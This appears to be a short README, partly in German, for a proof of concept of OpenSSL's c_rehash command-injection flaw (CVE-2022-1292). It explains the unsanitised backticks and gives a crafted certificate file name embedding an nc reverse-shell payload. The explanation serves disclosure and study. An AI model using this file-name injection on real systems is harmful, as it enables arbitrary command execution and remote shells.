alcaparra/cve-2022-1292CVE-2022-1292 OpenSSL c_rehash Sicherheitslücke - POC
The c_rehash script does not properly sanitise shell metacharacters to prevent command injection.
This script is distributed by some operating systems in a manner where it is automatically executed.
On such operating systems, an attacker could execute arbitrary commands with the privileges of the script.
Use of the c_rehash script is considered obsolete and should be replaced by the OpenSSL rehash command line tool.
This script is executed by update-ca-certificates, from
ca-certificates, to re-hash certificates in /etc/ssl/certs/. An attacker able
to place files in this directory could execute arbitrary commands with the
privileges of the script.
Die Befehlsinjektion tritt auf, weil Dateinamen nicht ordnungsgemäß bereinigt werden:
$fname =~ s/'/'\\''/g;my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;Dieser Teil des Skripts ist verwundbar, da das Schließen der Backticks die Ausführung von Befehlen ermöglicht. Beispielsweise führt eine Datei namens MyCert.crt`whoami` den Befehl "whoami" aus.
/etc/ssl/certs/ (Standard) oder anderen in update-ca-certificates konfigurierten Pfadenecho "-----BEGIN CERTIFICATE-----" > "hey.crt\`nc -c sh 127.0.0.1 12345\`" (nc als Beispiel-Payload)c_rehash . auslösen.